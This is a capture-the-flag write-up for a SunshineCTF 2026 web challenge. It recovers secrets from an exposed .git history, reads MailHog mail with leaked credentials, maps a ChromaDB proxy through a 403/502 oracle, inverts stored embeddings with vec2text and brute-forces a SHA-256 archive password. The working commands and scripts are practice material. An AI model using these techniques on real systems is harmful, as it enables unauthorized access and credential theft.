$ cat writeup.md…
$ cat writeup.md…
sunshinectf2026
Task: web app leaks .git, MailHog, an encrypted 7z, and a hidden ChromaDB proxy storing password hints as 768-d embeddings. Solution: recover reverted git secrets, mine MailHog intel, abuse the proxy 403/502 oracle to dump embeddings, invert with vec2text, crack the SHA-256, decrypt the archive.
English summary: A corporate-styled web app ("VecNet") for vector-database
security is hosted at https://vec.web.2026.sunshinectf.games/. Around it sits
a small infrastructure story: an exposed Git repository, a MailHog mail server,
a password-protected specs.7z archive containing the flag file, and a hidden
ChromaDB instance reachable only through a restrictive PHP reverse proxy on
port 8000. The password for the archive is never stored as text — only as a
768-dimensional text embedding plus a SHA-256 hash — so the final step is a
real embedding-inversion attack with vec2text.
The challenge is a chain of four loosely linked surfaces, each feeding the next:
index.html, fetch.php, and a
publicly listable /.git/ directory.VecNetDB (dimension 768)
where the password requirements are stored embedding-only
(document=null, metadata type=embedding_only,
embedding_fn=jxm/gtr__nq__32).jxm/gtr__nq__32 is the exact model pairing used by the vec2text library
(gtr-t5-base encoder, 768-d output — the author of vec2text trained these
inversion models). A 768-d embedding stored server-side with the plaintext
withheld is a textbook "embeddings leak the original text" setup, which the
MailHog emails even spell out by linking a dev.to article titled
"Vector Database Breaches: How Embeddings Expose Your Sensitive Data".
https://vec.web.2026.sunshinectf.games/.git/ returned an Apache directory
listing. Dump the whole repository object database:
git-dumper https://vec.web.2026.sunshinectf.games/.git/ repo # repo/ now contains: index.html, fetch.php, .htaccess, .gitignore
The working tree is clean, but history still holds the deleted blob:
c3cd120 add internal service config
130e195 REVERT: do not commit secrets
git show c3cd120:config.php
Recovered values:
MAIL_ADMIN_URL = http://127.0.0.1:8025 (MailHog)MAIL_ADMIN_USER = vecadmin / MAIL_ADMIN_PASS = Emb3dPass2026!INTERNAL_API_KEY = vsk_live_aX92kLmNpQrStUvWxYz — red herring, it is
never accepted anywhere and is not needed for the solve.Log into the MailHog UI on port 8025 with the leaked credentials and read the
API (/api/v2/messages, basic auth). Three emails between CEO Steve,
sysadmin Greg Roberts, and Mike deliver the crucial hints:
num_steps=4, sequence_beam_width=5specs.7z (pointing at the decoy path :8025/files/specs.7z;
the actual downloadable archive is served over 443, see next step)fetch.php looks like a classic SSRF gadget, but the source shows it compares
?url= against a constant with hash_equals() and then readfile()s a local
path — no outbound request is ever made. The internal URL recovered from git
history is simply the key to the lock:
curl -o specs.7z 'https://vec.web.2026.sunshinectf.games/fetch.php?url=http://localhost/files/specs.7z'
Returns a 186-byte AES-encrypted 7z archive containing flag.txt (34 bytes).
We now need the password.
A port scan (nmap -p-) reveals an unlinked service on 8000: an
Apache/PHP reverse proxy speaking JSON in front of ChromaDB. Two properties
define the exploitation strategy:
403 {"error":"route not allowed"}
(checked before proxying). Allowed routes are proxied, so when the upstream
is down you get 502 {"error":"upstream unavailable"}. Therefore:
403 = blocked path, 502 = allowed path (proxy at least attempted).Mapping results:
| Route | Verdict |
|---|---|
/api/v2, /api/v2/heartbeat, /api/v2/version, /api/v2/pre-flight-checks, /api/v2/auth/identity | allowed |
/api/v2/tenants/default_tenant, .../databases/default_database, .../collections | allowed |
POST .../collections/{uuid}/get | allowed |
/api/v2/collections (direct form) | blocked (403) |
POST .../collections/{uuid}/query | blocked (403) |
normalization bypasses (/../, //, %63, trailing slash) | all 403 |
Leaked API key/headers (X-Chroma-Token, Authorization: Bearer, X-Api-Key,
query params) change nothing — no auth is needed, just the right routes.
curl -s 'https://vec.web.2026.sunshinectf.games:8000/api/v2/tenants/default_tenant/databases/default_database/collections'
→ collection VecNetDB, id 455b419b-9668-4e7e-9f44-7ed62396f184,
dimension 768.
import time, requests BASE = "https://vec.web.2026.sunshinectf.games:8000" DB = f"{BASE}/api/v2/tenants/default_tenant/databases/default_database" CID = "455b419b-9668-4e7e-9f44-7ed62396f184" def fetch_records(attempts=60): for _ in range(attempts): try: # only proceed when the upstream is actually up if requests.get(f"{BASE}/api/v2/heartbeat", timeout=10).status_code == 200: r = requests.post( f"{DB}/collections/{CID}/get", json={"include": ["embeddings", "documents", "metadatas"], "limit": 100}, timeout=30, ) if r.status_code == 200: return r.json() except requests.RequestException: pass time.sleep(2) raise RuntimeError("upstream kept flapping") data = fetch_records()
Three records come back:
| id | document | notes |
|---|---|---|
user_password_requirements | null | type=embedding_only, embedding_fn=jxm/gtr__nq__32, 768-dim vector — the target |
user_hash_sha256 | d8dd241199d2617765d7613fdd1df5358297b55f258647fe463de586bbfe3ebf | SHA-256 of the password |
magic_string | sunshinectf8_ | also stores its own embedding — perfect for pipeline validation |
Save the two vectors:
recs = {r["id"]: r for r in data} json.dump(recs["user_password_requirements"]["embedding"], open("target_embedding.json", "w")) json.dump(recs["magic_string"]["embedding"], open("magic_embedding.json", "w"))
Environment gotchas that cost real time:
tokenizers wheels — use a Python 3.12 venv.transformers must stay on 4.x (4.44.2 works; 5.x breaks vec2text 0.0.13
model loading).sentencepiece is required for the T5 tokenizer.#!/usr/bin/env python3 import json, hashlib, torch, vec2text corrector = vec2text.load_pretrained_corrector("gtr-base") # loads InversionModel jxm/gtr__nq__32 + CorrectorEncoderModel jxm/gtr__nq__32__correct try: # keep tensors on whatever device the models landed on (MPS/CPU) device = next(corrector.inversion_trainer.model.parameters()).device except StopIteration: device = torch.device("cpu") magic = torch.tensor(json.load(open("magic_embedding.json")), dtype=torch.float32).unsqueeze(0).to(device) target = torch.tensor(json.load(open("target_embedding.json")), dtype=torch.float32).unsqueeze(0).to(device) # 1) validate the pipeline: inverting the magic_string vector should give ~ "sunshinectf8_" print(vec2text.invert_embeddings(magic, corrector, num_steps=1, sequence_beam_width=1)) # 2) invert the hidden requirements text with the specs from the emails out = vec2text.invert_embeddings(target, corrector, num_steps=4, sequence_beam_width=5) print(out)
The validation inversion reproduces sunshinectf8_ from its vector
(gibberish-free ⇒ encoder/model setup is correct). The target vector inverts
to:
"The user's first and last initials, three special characters followed by the magic string."
That is the password format: [first+last initials][3 special chars][magic string].
The candidate space is tiny: story-derived initials (Greg Roberts → GR,
plus a few others) × 33 ASCII special chars cubed × magic-string placement,
checked against the stored hash — at most ~269k attempts:
import hashlib, itertools, json H = "d8dd241199d2617765d7613fdd1df5358297b55f258647fe463de586bbfe3ebf" MAGIC = "sunshinectf8_" SPECIALS = "!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~" base_names = ["mike", "mv", "greg", "gr", "gregory", "steve", "s", "m", "mikevecnet", "vecadmin", "va", "admin"] initials = set() for n in base_names: initials |= {n, n.upper(), n.capitalize()} for a, b in itertools.product("mgrs", repeat=2): initials |= {a + b, (a + b).upper()} found = None tries = 0 for ini in sorted(initials): for s1, s2, s3 in itertools.product(SPECIALS, repeat=3): for pw in (ini + s1 + s2 + s3 + MAGIC, ini + MAGIC + s1 + s2 + s3): tries += 1 if hashlib.sha256(pw.encode()).hexdigest() == H: found = pw break if found: break if found: break print(tries, repr(found)) # -> password: GR$*#sunshinectf8_
The recovered archive password is GR$*#sunshinectf8_ — sysadmin Greg
Roberts' initials, three special characters, then the magic string.
7z x -p'GR$*#sunshinectf8_' specs.7z # -> flag.txt (34 bytes)
flag.txt contains the flag in sun{...} format (sun{REDACTED} here —
solution-only writeup).
Use this technique when:
/.git/ with directory listing — dump it with git-dumper
and always walk full history (git log --all, git show <rev>:<file>);
"REVERT"/"do not commit secrets" commit messages are a direct pointer to
deleted credentials./api/v2/messages; challenge authors love hiding technique
hints and tool parameters in fake internal email.403 route not allowed for some paths and
502 upstream unavailable for others — the two errors classify the route
allowlist for free, and a flapping upstream just means "wrap everything in a
heartbeat-polling retry loop".embedding_fn=jxm/gtr__nq__32, type=embedding_only, or document=null —
768-d is the signature of gtr-t5-base, the exact model pair vec2text
inverts; never assume an embedding is a one-way representation of text.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar